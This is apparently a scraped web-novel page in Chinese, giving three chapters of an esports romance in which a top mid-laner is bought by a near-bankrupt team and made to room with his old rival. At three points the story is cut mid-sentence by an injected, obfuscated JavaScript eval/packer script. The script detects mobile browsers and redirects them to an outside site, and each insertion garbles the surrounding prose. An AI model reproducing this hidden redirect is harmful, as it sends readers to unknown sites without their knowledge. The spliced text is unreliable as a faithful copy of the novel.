《全国第一进破产战队后[电竞]》 1. 第 1 章 凌晨十二点,上海酒店的某间房里灯光暗沉,游戏激烈的打斗声持续不断。 一名面容清秀的黑衣少年坐在自己的床上,沉默又专注地操作着手机里的游戏角色。 他眉头微蹙,看似不太高兴,不过这并没有影响到他在游戏里的操作发挥。 “翻盘!推塔推塔,一波!兄弟们牛啊!” 终于,在将敌方五人全数击杀时,队友激动的声音从手机里爆发了出来。 团战大捷,夜雨辰顿时松下一口气。 此时,距离对面最快复活的人还有二十秒,他们团队五人必须趁着对面复活前推掉水晶,完成‘绝境翻盘’。 在敌方水晶爆炸已是板上钉钉之事时,突然,队友的大喊声传了出来:“傻逼射手你赶紧卸载吧,少来游戏里祸害其他人了!” 这道骂声犹如刚退的潮水再次来袭,而且直接掀起了一番更大的巨浪,让其他队友立马加入了浪潮。 “一整把尽是给全部人显摆你那指甲盖大小的脑子,还要大家来哄你打游戏,你配吗?” “最后一波团战要不是老子你早死了,赶紧给你爹磕一个!臭巨婴。” …… 夜雨辰:“……” 听着队友们的‘友好’输出,他深吸一口气,熟练且迅速地把手机调到了静音,不紧不慢地换上一双攻速鞋加快了推水晶的速度。 在水晶爆炸的前一秒,他将麦克风打开,对着所有队友淡淡道:“大家都玩得好,厉害厉害。” 听不出来究竟是在夸赞队友还是不满这把的胜利。 直到水晶爆炸,手机屏只剩“Victory”的时候,他才悠悠然地放下手机瘫在了床上,并伸了个懒腰,就像这把他打得十分费力一般。 作为一名《GloryK》数年的顶尖玩家,夜雨辰的心态必是受过千锤百炼,骂人和被骂的次数更是不计其数。 所以,他早就养成不去和这种区区2/10的坑货射手费口舌的习惯了。 早在开局这射手又菜又爱叫,而且脑子不太好使的时候,夜雨辰就果断地赠予了他‘屏蔽大礼包’,不再去看对方那些带着戾气的无用字眼。 他不喜欢被传染戾气,他只想赢,只有游戏操作才能决定对局的胜败究竟归属何方,吵架无济于事,只会让输的结局来得更快。 真正的强者不是抱怨环境,而是适应环境,并永不放弃胜的希望。 不然这把游戏最后怎么靠他和一整把没说过话的打野一起抓住机会完成翻盘的? 此时,十二点已过,巅峰赛的入场大门就此关闭。 “巅峰赛”是《GloryK》最展现玩家个人实力的单排模式。只要排位赛达到‘王者’段位的玩家,每晚都可以在6点到12点的时间内以匿名的形式参与5V5对抗赛。 它的规则很简单——赢了加分,输了扣分;分数越高,全国排名越高。 水晶爆炸的动画一过,率先显示的就是分数和全国排名上升的结算界面。 夜雨辰随意地瞥了一眼屏幕正中央“全国排名”下面大大的数字‘1’,就进入到最后的战绩结算页面。 ‘巅峰赛’在局内是以匿名形式游玩,在结算界面它便会开诚布公每个人的游戏id和个人资料。 就比如射手的id直接暴露了出来——‘职业JYY.小九’。 看到这几个字,夜雨辰不以为意地嗤了一声。 众所周知,JYY俱乐部火爆游戏圈的黑料之一就是“人机射手”,顾名思义,就是大家公认的‘坑货’。 排到职业选手做队友或对手早已是他的游戏日常,何况他几个小时后也将正式成为职业选手。 他现在更想看一下他们家打野究竟是何方神圣,并有没有机会认识一下。毕竟这把如果没有他俩中野的完美抓机会配合,最后是无法让团队完成翻盘并拿下这把游戏胜利的。 在他点开打野主页的一刹那,本就昏暗的房间亮度再减,几十个英雄的黑金色历史大国标在这人的游戏主页熠熠生辉,闪得他有点睁不开眼。 ‘大国标’是玩家对该英雄的掌握程度在这个游戏最顶尖的标志。而这个账号在五个不同的分路都有对应的不同的英雄的大国标,说明这个号主的不仅实力很强,英雄池也深不可测,是个当之无愧的强者。 不过,夜雨辰看到这些资料后,兴致缺缺地收回了准备申请好友的手。 他最后意味深长地将视线停留在这人主页挂着的“国服巅峰榜第二”称号几秒后,便关闭其并打开了自己的个人主页—— 相比之下,他的主页就黯淡了些许。 辅助英雄大乔展示在他的主页右侧,数个硕大的黑金色大国标和蓝色的“国服巅峰榜第一”称号坐落在主页的正中央——国服中单、国服火舞、国服曦、国服大乔…… 他像是想起了什么,若有所思地盯着自己‘全国第一’的称号,眸光暗潮涌动。 又是全国第一和全国第二做队友么…… 突然,一个邀请组队的弹窗遮住了他的游戏主页,瞬间把他拉回了神—— 一个顶着“SSV10”贵族标志的粉红色动漫少女头像邀请他排位赛组队。 【玩家‘Kimi大小姐’(最近使用英雄‘东方镜’和你进行游戏)邀请与您一起排位组队,(1/5)】 是刚刚的打野。 夜雨辰接受了邀请。 一进组队页面,他就打开麦克风问道:“有事?” “兄弟能不能给个好友位,有空一起打排位?” 一道和头像、id性别完全不符的声音从手机里传了出来。 不过他对这道男声并没有太大的意外,在这个分段,大部分顶尖选手为了谋生都会去接有钱老板派出的单子账号。一个大国标能赚上万块钱,而这个号各英雄的场次和胜率明显是一个标准的、不知道经过多少个打手辗转的老板号。 即,现在在玩这个号的人大概率不是号主本人。 这种情况在游戏里并不少见,只不过…… 夜雨辰微微蹙起眉头。 这道声音为什么有一股陌生的熟悉感? 他思索片刻,一时想不起来究竟是从哪听过这个声音,索性不去想了,答道:“排位可以,但我不加老板号的好友。” “这是我朋友号,不是老板号!”对面急忙否认了他对这个账号的称呼,“那我们加个联系方式行不行?” 朋友号?鬼才信。 不过他还是把自己的微信号发了过去。 这个号究竟是不是朋友号不关他的事,他有兴趣的只是这个打手。 很快,一个微信名叫‘Q’、头像全黑的人加上了夜雨辰。 好友一通过,对面立马发来消息。 【Q:哥们你现在要不要来排几把?】 巅峰赛虽然关了,但排位赛可是24小时开放的。 【Night:可以,几排?】 【Q:你想几排?】 【Night:五,我这还有一个人,我俩打中辅】 【Q:ok,我去摇人】 【Night:给个备注】 这时,对面好像因为是去叫人打排位了,并没有第一时间回复这个消息。 夜雨辰见状,转过头,对着和自己同一间房、正躺在另一张床上因巅峰赛连跪而生无可恋的白瘦青年喊道:“上号小U,来排几把。” “好嘞夜哥,几排啊?你还是玩大乔辅助吗?”一听有混分的机会,小U一副活人微死的模样瞬间烟消云散。 “嗯,五排。随便打几把,打完睡觉。” 小U啧啧道:“你一个中单玩家,对这个辅助英雄真是情有独钟啊。” 夜雨辰懒得答话。他把小U拉进排位房的时候,另外两个队友刚好也被打野拉进了房间—— “职业JYY.开开” “职业JYY.One” ??? 看着新进来的两个人的id,本来懒懒倚在床头的少年顿时瞪大双眸,立马坐直了身体。 小U同样看到了新进组队房的二人,大惊道:“夜哥你怎么上JYY的排位车了?你被他们内定了?但JYY不是有那谁在吗??” 夜雨辰神色也变幻莫测了起来。 对了,刚刚巅峰赛这个打野也没有骂过小九,难道是因为他们认识所以他不好意思去骂对方吗? 这时,他的手机收到了一条来自微信的消息—— 【Q:备注郁秋就行】 ……郁秋? 艹。 看到这条消息,夜雨辰整张脸瞬间垮了下来。 他像避瘟神似的立马退出了排位组队房间,迅速地划掉了游戏后台。 小U见状,莫名其妙道:“你怎么退房间了?游戏卡bug了?” 夜雨辰黑着脸一边拉黑郁秋的微信,一边无力地答道:“这个‘Kimi大小姐’是郁秋。” 听到这话,小U双目瞪大: “郁秋??那个替……啊呸,打野Qiu?” 夜雨辰没有继续吱声。 JYY.Qiu ,JYY俱乐部最火的黑料——“替补打野”。 “哎不是,你咋上了他的车啊?你和他不是……”还没说几句话,小U就感到身边的气场愈发冰冷,吓得他直接噤声。 几秒过后,他吞了口唾沫,小心翼翼地继续开口道,“那,那我们现在就这么放人家鸽子了?” 夜雨辰睨了他一眼:“不然呢?关灯,睡觉了。” 说完,便一溜烟地缩进了被窝。 小U见状,只好在组队频道地发了一句“他突然肚子疼,不好意思我们先下了,你们打吧”,然后迅速退出了游戏。 他转头,看着身旁缩成一团的被子,扶额道:“我说夜少,你到底对郁秋啥想法啊?从那件事以后,你每次一遇到和他有关的东西就摆出一副‘讨厌他’的模样赶紧远离,但一有人喊他‘替补’,你又总是第一个急眼的那个。说真的,身为你几年的好兄弟,我们是真的看不透你这点。” “我困了。”闷闷的声音从被窝里传了出来,“我睡着了。” 小U无奈地叹一口气:“夜雨辰,你又逃避这问题。” 逃避? 夜雨辰窝在被窝里一动不动,懒得反驳。 他和郁秋只是因为之前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081095|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一些意外所以有点小摩擦而已,他们俩从没有真正意义上的认识过,所以这有什么好逃避的? 至于‘替补’…… 他单纯看那些骂郁秋的人不爽而已。 只听外面的人接着问道:“那选秀大会JYY要是把你买下,你如果去了他们战队,你怎么躲他?” 青训生在选秀大会上只能是砧板上的鱼肉,供人挑选宰割,没有选择的权利。哪个战队竞价高,选手就会去哪个队。 “不可能。” 这个答案想都不用想就被夜雨辰反驳了,“哪一届的‘青训状元’身价低过一百万?一个破产战队哪来这么多钱?” “人家一年前好歹是个冠军战队,万一还是有一些积蓄呢?” “没有万一。”他笃定道。 JYY在圈内的四个黑料里没有一个是噱头,所以他们怎么可能变出来这么多钱去买选手? “唉好吧好吧,确实不可能。但我还是觉得你不如跟我一起直接在FQ签个三年,准衣食无忧。”说着,小U把房间的全部灯都关上了,“祝你好运吧夜哥,希望你能成为近几年唯一一个熬出头的状元,晚安。” 随着黑暗的降临,夜雨辰没有给出回答,而是翻了个身,阖上了眼。 FQ作为一个本就不缺中单的战队,他是肯定不会去的,这既很难实现他打职业的初心,而且他也不缺钱,所以他还不如去选秀大会上看看哪个战队缺中单,‘状元’的身份其他战队还是会抢着要的。 至于被JYY买下?那真是一个天大的笑话了。 破产战队哪来的钱买选手? 不过,一提到‘选秀大会’,他还是忍不住全身战栗了一下。 努力奋斗了两年的职业梦,终于要在几个小时后正式步入正轨了…… 时间总是伴随着紧张迅速飞逝,眨眼间,就进入了众人期待的选秀大会。 “JYY出价,150万!” 女主持人洪亮的声音响彻整个场馆。 闻声,夜雨辰猛地睁眼,脸上写满了不可置信。 他瞪大双眸,看向了坐在第一排边缘、正举着竞价牌、半束着小辫的黑色西装男子。 是他幻听了吗? JYY出价150万?? 许是感受到远处投来的视线,那名男子回首,看向了自己。 二人四目相对,全场陷入寂静。 那人脸上挂着一抹势在必得的笑容,黑色双眸犹如黑曜石,闪耀而深邃,让人无法猜透他究竟在想些什么,但他的眉宇间却充满了温和的气息。 夜雨辰冷眼看着对方那充满欠揍味道的笑容,忍住给对方竖一根中指的冲动。 很快,对方朝着自己点了下头,便回首将注意力重新放回了舞台上。 主持人依旧在宣布:“……150万第三次,竞价成功!让我们恭喜中单选手Night,夜雨辰,加入JYY的大家庭!请Night选手上台接受专属于JYY的签约仪式。” 全场霎时掌声雷动。 无法改变的结果已然敲定,夜雨辰面不改色的站起身,即使疑惑充斥着整个内心,他也不得不走上舞台。 不过心里已经问候了小U百八十遍了。 乌鸦嘴,真的是个乌鸦嘴。 一个破产战队竟然真的能掏出150万把他买下来了? 他刚站上舞台,就听到主持人在一旁接着道:“让我们有请JYY的队长——Qiu,上台为新队员进行签约仪式和送上新队服!” 夜雨辰一怔,下意识地后退了小半步,眼底闪过一抹抗拒。 谁上来? 队长?郁秋? 先不说他什么时候成为队长的,能不能换一个人上台啊?! 还没等他做好心理准备,台下,刚刚和他对视的那名男子就已站起身,走上了舞台。 看着这个人离自己越来越近,夜雨辰的双拳不自觉地开始握紧。 最后,这名男子停在了自己面前,并朝他伸出了一只手。 夜雨辰抬眸,眼神不善地盯着面前这个比自己高了半个头、正笑眯眯地示意着自己该进行握手仪式的人。他冷哼一声,遏制住想给对方一拳的冲动,同样伸出了一只手。 在二人的手即将触碰之际,夜雨辰突然刹住了车,并将五指轻轻虚握。 虽然没有造成真实的触碰,但从远处看两人就像真的握上手了一般。 就这么保持了这个动作不过三秒,他立马松开五指,迅速地收回了自己的手。 但下一秒,他冷漠的面容突然渲染上了诧异之色。 他缓缓低头,看向了自己还没来得及收回,就被紧紧抓住的手掌。 郁秋的手比他的要大那么一些,温暖而又结实,强迫着他冰冷的手沾染上对方的温度。 夜雨辰后知后觉地想甩开对方,但这时,突然又有一股小小的拉力从手心传来,让他猝不及防地稍微向前倾了一些,随即,他的耳旁响起了一道陌生却又熟悉的声音。 这道声音很小,小到只有两个人能听到,可里面却充满了一股戏谑的味道: “可以把我的微信拉回来吗?新队友,或是说,新舍友?” 2. 2 选秀大会后的一天,夜雨辰瘫坐在出租车上,脸上写满了‘不情愿’三个大字。 他正在去JYY基地的路上。 从昨晚大会结束后到现在,夜雨辰一直没缓过劲。 数个无法想透的问题一直在脑海里盘旋,但他现在又不得不接受现实,去基地报道。 他怎么就真和郁秋一个战队了,这是梦吧?这不是他最不想发生的事吗? 而且没听错的话,昨天郁秋叫他‘舍友’? 可他记得俱乐部基地都是单人宿舍。 郁秋肯定又是在骗人,毕竟这人嘴里就没吐过几句正常话。 夜雨辰缓缓垂眸,黯淡的眸光掠过手机屏上和自己好兄弟的聊天群—— 【微信群:当0当1不当(3)】 【U:@星,星哥,给你汇报一下,夜哥自从昨天结果出来后,直到刚刚上出租车都一直一副活人微死的样子。他被秋在的那个战队买了!JYY!那个‘破产’战队!】 【星:哟呵?是我知道的那个‘秋’?那个让老夜破防注销几万粉丝账号、被迫把游戏id‘Rain’改成‘Night’的那个傻缺?】 【U:就是他!两年前咱们夜少真的实惨,不仅一直从秋手上争不下第一,对局里还被他反复调戏,好不容易做队友恶心他吧,结果……害,真别说,当初网友那股磕cp的劲我到现在都难以忘怀。】 【星:那老夜你现在咋办,你不是挺讨厌秋的?要不你忍个一年直接跑路换个战队?】 每个被选秀大会拍下的选手后都默认和战队先签下一年的合同,夜雨辰也不例外。 【Night:昂。然后这一年除了比赛训练,尽量不和他扯上关系就行。】 【U:但万一郁秋真对你图谋不轨咋办?两年前他张口就来的那句话,一点都不像报复啊……该不会他早就对你有想法了吧?毕竟夜哥你细皮嫩肉的,看上去确实很国色天香啊】 【星:……哥们,你想夸咱们老夜长得好看其实可以用‘眉清目秀’‘英俊潇洒’这些成语,没必要,额......】 夜雨辰的耳根瞬间透红,打字的手速飙升。 【Night:国色天香个屁!有想法个屁!这个成语特么是用来形容女生的,老子是男的!而且我昨天才第一次和他线下见面,他两年前怎么可能对我有想法?!】 这时,出租车司机突然开口,把夜雨辰拉回了现实:“小伙子,这里有个‘私人区域禁止进入’的牌子,我只能把你放到这了,下车吧。” 他深吸一口气,不再回复微信消息,把手机收了起来看向窗外。 出租车不知道什么时候已经停了下来,停在一个小山坡的脚下。 车窗外正下着淅淅沥沥的小雨,马路旁的树木枝叶交织,四周并无其他建筑。往坡上看,山顶处隐隐约约能看到一个棕色的平房顶,看上去是附近唯一的建筑,山脚下“私人领地禁止进入”的牌子旁有个保安亭,一看就是专门登记来访人的地方。 司机再次提醒道:“小伙子你动作快些吧,这雨越下越大了,你打着伞拎着行李更不好走。” 昨天没看天气预报所以根本没带雨伞的夜雨辰面不改色道:“好的,谢谢师傅。” 还好这雨不是特别大,所以淋这一小会不成问题。 他将自己的情绪收起来藏回心底后,带着行李登记好信息后就朝坡顶的基地快步走去。 现在是八月初,立秋刚过,但气温还没反应过来夏日的离去,依旧在为酷暑撑着面子,闷热的天气本就让人烦躁难耐,而这一场小雨更像火上浇油般,让人的心情更加抓心挠肺。 五分钟后,夜雨辰在坡顶上唯一的建筑停了下来——这是一个很新,但看上去就不是很大的棕色别墅,是JYY的基地。 从今天开始,他就是JYY战队的正式成员之一了。 他按下门铃,一个戴着黑色眼镜框、看似二十出头的青年很快就打开了门。 青年看到门外湿漉漉的人带着行李箱,怔了一下,立马道:“欢迎欢迎,Night是吗?辛苦你了,赶紧进来吧。” 夜雨辰点了点头:“你好。” 说完,他再走进大门。 “我是JYY的教练零落,你要不先去换身衣服?你的房间在二楼,和……”话还没说完,零落手上的电话就响起了铃声,他看了一眼来电备注,皱起眉头,对屋内大喊,“郁秋你来招待一下新队员,我这有个电话。” 二楼传来一道熟悉的声音:“好,来了。” 零落转过头,对夜雨辰抱歉并快速道:“不好意思我手头上有些急事,郁秋是队长,先让他带下你吧,战队其他人暂时都不在,晚上九点训练室会开个小会,你别迟到了。” 说完,零落就立马去阳台接电话,丝毫没注意到夜雨辰脸上的表情滞了一瞬。 很快,郁秋就下了楼。他看到站在门口不动、白色T恤微湿、发丝正挂着要滴不滴的水珠的青年,诧异道:“你淋着雨来的?没带伞?” 夜雨辰在郁秋出现后,表情就变得冷漠又……古怪。他的目光在对方出现的瞬间就被他身上的睡衣所吸引—— 艳黄色的衣服上画着一个大大的表情包,上面写着“大胆!”二字。 他冷冷地点了下头,“嗯”了一声,就把头侧向一旁,不再看他,心底里不禁开始暗暗吐槽。 怎么真会有人穿这种屎黄色的睡衣给别人看? 见到对方如此冷漠的反应,郁秋也没有丝毫的尴尬,介绍道:“鞋子放旁边的鞋架上,最底下层的拖鞋都是最新的,你随便拿一双就好,没人穿过。你先赶紧换身衣服,每个房间空调开的都挺冷的,别刚进战队就生病了。”说完,他就主动把夜雨辰的行李箱拿进屋。 夜雨辰没有搭话,他的注意力在偏头的时候就被墙边这个蓝色小鞋架所吸引了。 架子上的鞋子并不多,只有五双,其中三双夜雨辰认识,虽然颜色和款型不同,但那颗特别的五角星logo可是他最熟悉最喜欢的牌子,和自己脚上的完全一样。 而且这牌子的运动鞋价格都比较高,平均价格都有四位数。 难道“破产战队”真的只是个噱头?队员的鞋子都这么奢侈。 他疑惑地脱下鞋,把自己的鞋子放在这三双旁边后就跟着上楼。 途中,他顺便打量着这个基地的布局——如同外表看到的一样,这个别墅面积并没有很大,一共有三层楼,一楼是基本的家居布置,两厅一室,附带一个小阳台;而二楼,只有三个房间;三楼他还来不及去。 ……三个房间? 夜雨辰眉头一跳,心里隐隐浮现不好的预感。 他走到郁秋拿着自己行李进去的房间门口,看到里面的景色,随着房间扑面而来的冷气,他的脸色也跟着阴沉了下去—— 整个房间很新,不大也不小,两张宽阔的单人床分别在房间的左右两侧,而自己的黑色行李箱正立在两张床的走道中间;每张床的床尾都有一张桌子,上面都配着一台5060P的电脑。 左右两边的家具完全对称,唯一的区别就是,一边桌上和床上满满当当,另一边的上面则是空空如也,明显是在等着它们的新主人。 郁秋坐在全是文件的桌前,手肘抵在椅子的扶手上,笑盈盈地指着房间里的一扇门,简短介绍道:“卫生间在那,干湿分离的,每个房间都有。” 真的是他们俩一间房,选秀大会上郁秋竟然不是在骗人! 夜雨辰杵在门口,犹如一根柱子般一动不动,好似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081096|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直在做心理建设。 半晌,他还是没忍住开口问道:“为什么刚好是我们俩一间房?而且基地不应该都是单人间吗?” 在青训营的时候,别人都说职业选手的基地是单人间。 “基地单人间一般是首发选手的待遇,不过我们战队没有这个待遇。”郁秋做了个简单的科普后,就摊手解释道: “众所周知,我们战队快破产了,所以现在队里只有首发选手,没有二队,而且没钱租多房间的基地。上周咱们刚搬来这的时候大家都是抽签选二楼的房间,刚好,和新队员一间房的机会轮到了我的头上。” 夜雨辰明显不信对方的话:“那你们哪来的钱买我?150万可不是一个‘破产’战队会拿出来的数目。” 郁秋毫不犹豫:“孟凌轩卖掉裤衩买的。” “孟凌轩?” “JYY的新老板,昨天和我一起在现场的那个。” “哦。”夜雨辰完全没有印象,而且‘新老板’也不是他现在想知道的重点,他现在只想迫切地知道—— “我能不能换房间,一楼的房间队员不能住吗?” “不能,那是留给其他工作人员的,而且我们不能进入那间房。” “三楼没其他房间?” “三楼只有训练室和阳台。” 郁秋似是好笑道,“哎不是,我给你的印象至于差到让你这么嫌弃的地步吗?” 又是删他微信又是不想和他同房间的。 夜雨辰翻了个白眼:“你要不回忆回忆两年前自己说过什么?” “……”沉思片刻,郁秋低头,开始认真地掰着手指数道:“真情实意地喊你、诚心诚意地哄你、发自内心地夸你、情真意切地顺着你的话……” 数完,他抬起头,一脸天真地看着对方:“好像这些都没啥问题吧?” 没问题个屁,你那是正常人会说出来的话? 想起过去的细枝末节,夜雨辰眼底闪过一抹尴尬。 不过他没有继续接下对方的话,而是不情不愿地走进了房间。 他打开行李箱,从里面拿起一套衣服就直接往卫生间走去。 确实,房间里的温度太低了,刚刚滴到身上的雨水正不断地吸收着他体内的热量,再加上打在身上的冷风,他的手臂和大腿在进房门的瞬间就布满了鸡皮疙瘩。 他走到卫生间门口,将手放在门把上,并没有直接打开,而是垂下眸,眼底暗潮涌动。 看着站着不动的人,郁秋感到疑惑:“怎么了,门坏了?” 夜雨辰深吸一口气,下定决心开口:“郁秋,我过会想要一个答案。” 郁秋一怔:“你说。” “昨天选秀大会你也在现场,而且你参与了竞拍,所以你应该知道战队为什么要买我,也看过青训营最后给你们的我的个人资料,而上面都记录着我的历史id。”他转过头,冰冷的眼神看向了郁秋,接着道, “‘Night’和‘Rain’是同一个人,这个信息青训营那边会替我保密。但JYY会吗?整个GK圈里谁不知道两年前‘秋’和‘Rain’的话题?你们决定买我的时候有考虑过这件事情吗?还是说……” “JYY之前的‘队霸中单’已经离开了,那他带给战队的流量也会跟着一起离开。” 说到这,他的眼神的温度愈发降低,声音也愈发低沉, “你们买我,一是为了找一个相对便宜却有实力的中单选手能上场比赛,尽量为战队夺得成绩; 二,也是最重要的,你们的目的是让我填补他带走的流量,和你一起再次创造一个新的……或是说将之前我们俩的‘cp话题’重新推回热搜,从而继续吸引观众的眼球,以此为战队带来新的热度和流量?” 3. 第 3 章 郁秋眨了眨眼,视若无睹面前青年冰冷的眼神,莞尔道:“如果我说是,那又如何?” 夜雨辰呼吸一滞。 只见郁秋随意把玩着自己鬓边的头发,侃侃道:“首先,买你的主意是我提出来的;其次,你在我们战队有一年的合同,至少这一年内,战队让你打比赛你就得打,让你做什么你也得做,每个职业选手都是如此,这是你的工作,你必须听从上头的命令。你要不想干?也可以,那你得付得起合同的违约金,七位数,然后悉听尊便。” 温和带着笑意的轻松语气,字里行间却冰冷的没有温度,一字一句的扎进夜雨辰的耳中,如一根根冰锥般,狠狠地刺入他的心里。 房间的温度降到了极点,夜雨辰微微张嘴,想立马说些什么,却发现自己发不出任何声音。 是啊,就算是真的,他能怎么办?直接换一个战队? 但是谁会要一个刚进战队就想着换战队、没有任何成绩的职业选手? 职业选手的主要工作就是打比赛,且要打出成绩。如果没有成绩,俱乐部的收入就会大幅降低。而为了赚钱,俱乐部就会把每个队员的价值尽所能的压榨到极致,他们会将所有能用的手段全部用上,想方设法将战队热度提高,这样至少能吸引到一些粉丝和赞助商。 不然买选手花的大价钱岂不是全打水漂了? 夜雨辰的手指微微抽搐了一下,胸口传来了一股绞痛。 他明明做好了心理准备来接受并面对这个行业的残酷,明明早就知道‘职业选手’的道路肯定不能让他安心的去实现自己的梦想…… 但为什么现在亲耳听到了这个现实后,全身上下的血液就好像凝固了一般,无法动弹,使不上劲? 所以他被高价买来战队主要就是一个用来炒热度的工具吗? 郁秋好似没察觉到夜雨辰的状态,依旧笑得如沐春风:“这是我给你的问题,一问还一问,过会我也想听到你给我的答复。” 夜雨辰一怔,这句话就像是一条绳子,把即将掉入冰窖的他硬生生地拉了回来。 他立马意识过来了什么,冷哼一声,便转身进了卫生间。 看着又送给自己一个白眼的青年,郁秋照样视而不见,悠悠道:“热水器左转热水,右转冷水,沐浴露那些随便用,不用客气。” “……”某青年停住了脚步。 数秒后,他倒退回自己的箱子旁,把躺在里面的沐浴露和洗发水一并顺走,再以迅雷不及掩耳的速度进入卫生间。 “砰!” 门被用力关上,夜雨辰重重地吐出一口气。 他胡乱地脱下衣服丢进水池,冲着热水,让自己的全身以及脑子回回温。 大意了,忘记郁秋嘴里吐不出几句人话,真的不能信他。 他真的是……一如既往地狡猾且讨厌。 十分钟后,夜雨辰洗完澡也想好了自己的答案,便关上水,下意识将手伸到晾衣架上。 下一秒,他的手一僵。 像想起了什么,他缓缓抬头,将视线放到架子上孤零零的淡蓝色的毛巾上—— 郁秋的毛巾。 全身上下正滴着水的夜雨辰:“……” 大意了,自己的毛巾也没拿。 * 花洒的声音已经停了五分钟,但浴室里迟迟没有人出来,甚至可以说,完全听不到里面发出的任何动静。 郁秋对此感到疑惑,站起身打算去一探究竟。 这小子该不会洗个澡把自己洗晕了吧? 他走到卫生间门口,犹豫了下,还是选择抬起手敲门:“夜……” 手还没碰到大门,浴室的门就突然从里被打开,氤氲的雾气顿时涌出,薰衣草的淡淡清香随之钻入鼻腔。 这突兀的场景让郁秋一下没反应过来,缓缓低头,看向正站在自己面前的少年。 少年的眼角泛着潮红,红润的薄唇紧紧抿着;从发丝上滴落的水珠直接打在他的白衣上,衣下的肉色若隐若现,宛如一颗颗闪烁的宝石浮出水面…… 活色生香的模样让他没忍住吞了一口唾沫,幽幽地将视线瞥向一侧。 “让一下,你挡路了。” 冰冷的声音让郁秋回过了神,他轻咳一声,重新将视线放回在夜雨辰的身上。 夜雨辰不知道什么时候已经拨开了挡在眼前湿漉漉的刘海,其下的眼神冰冷如霜。 在挡路者后知后觉的让出道后,这个浑身是水的青年立马走到自己的行李箱旁,蹲下来翻找东西,丝毫没注意到身后人正打在自己身上的、目光灼灼的视线。 郁秋目不转睛地盯着这个白衣少年的背影——发尾厚重的水珠滴落在白色衣料上,顺着弓起的背部蜿蜒而下,勾勒出一条条清晰可见的肉色曲线,宛如从山上分流而下的小溪。 他的视线顺着小溪的方向随之向下,直到最终汇聚的湖泊,湖泊处则是…… 突然他呼吸一滞,一巴掌拍到自己的脸上,再次迅速地撇开视线,。 这小子好像怎么连内裤都没穿?! 翻找的速度很快,夜雨辰一拿好浴巾、毛巾和一套新的衣服,就急匆匆地回到浴室,嘴里还一直嘟囔着‘冷死了’,丝毫没有察觉到郁秋变得更加异样的表情。 没过多久,他就换了一身全干的黑色便衣,颈上挂着毛巾,走到空桌前,一屁股坐在了电竞椅上。许是因为刚刚自己的落汤鸡模样给外人看到,他也有些许尴尬,耳垂正挂着一抹显眼的红色。 他擦拭着时不时还会滴落着水的发丝,看着坐在堆满文件的桌前的男人的背影,冷声而坚定地给出了自己的答案:“郁秋,你们爱咋样咋样吧,我无所谓,你刚刚也说了,我是首发,而且战队没人做我的替补。所以如果最后影响到选手状态导致打不出好成绩,吃亏的还是你们,而这一年后我一定会转会。” 赤裸裸的威胁。 你们要炒热度也行,反正整个俱乐部只有我一个中单,看你们是要继续没有成绩一年,还是要让我好好比赛。 大不了我们鱼死网破。 一道低沉略显沙哑地声音响起:“你是这样想的?” 夜雨辰不容置疑道:“是的。” “其实,”郁秋将椅子转了过来,面向着夜雨辰,笑盈盈道,“我把你的资料发进群前,已经把上面有关‘Rain’的信息全删了,所以整个俱乐部只有我和孟凌轩知道这件事。我可以和你保证,只要你不提,这里没人会知道你就是‘Rain’。” 听到这,夜雨辰一直紧绷的肩膀终于放松了些许,但他也不敢全信。 郁秋看着对方放下了一丝警惕,思绪像是飘散到了远处,呢喃道:“我知道外界舆论对职业选手,特别是对新生的压力会有多大,所以我不会因为这些莫须有的事影响到你的职业生涯的。” “……”这句话点醒了夜雨辰,让他想起了什么,冷哼一声,“勉强信你一回。” 像是没想到这么简单就说服了对方,郁秋感到诧异:“这就信了?你不好奇为什么我要提出来买你吗?” 夜雨辰不由得再次送出了一个白眼:“我们这两年巅峰赛撞车同队的次数,就算没有二十次也至少有个十来把吧?什么时候输过?” 郁秋眼里瞬间闪起了星光:“你居然还记得这些?所以两年前你的那句话是真的——” “闭嘴。” 似是猜到即将要听到什么非人话,夜雨辰心头一跳,果断地打断了对方的话并转了个话题,“我现在要做什么?” 毕竟他才刚到基地,什么都没做就先洗了个澡。 郁秋完全没有丝毫被打断的尴尬,他干咳了两声,面不改色道:“两件事,一是过会有个‘个人资料表’需要你填,战队需要的个人信息方便以后各类比赛和活动的报名。你可以先去楼上训练室等我,顺便适应一下那里的环境,那是常用的训练室;二是……” 他拿出自己的手机,打开自己的微信,指着一个有红色感叹号的聊天框, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081097|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 委屈道:“可以把我的微信拉回来吗,新队员?能不能给队长一个面子。” 前天晚上他可是被夜雨辰毫不留情的鸽了排位并拉进了黑名单。 夜雨辰看着面前的微信聊天框,眸光闪烁了一下。 片刻,他站起身,拿着自己的手机、训练机和充电线直愣愣地略过郁秋,走向房门口。 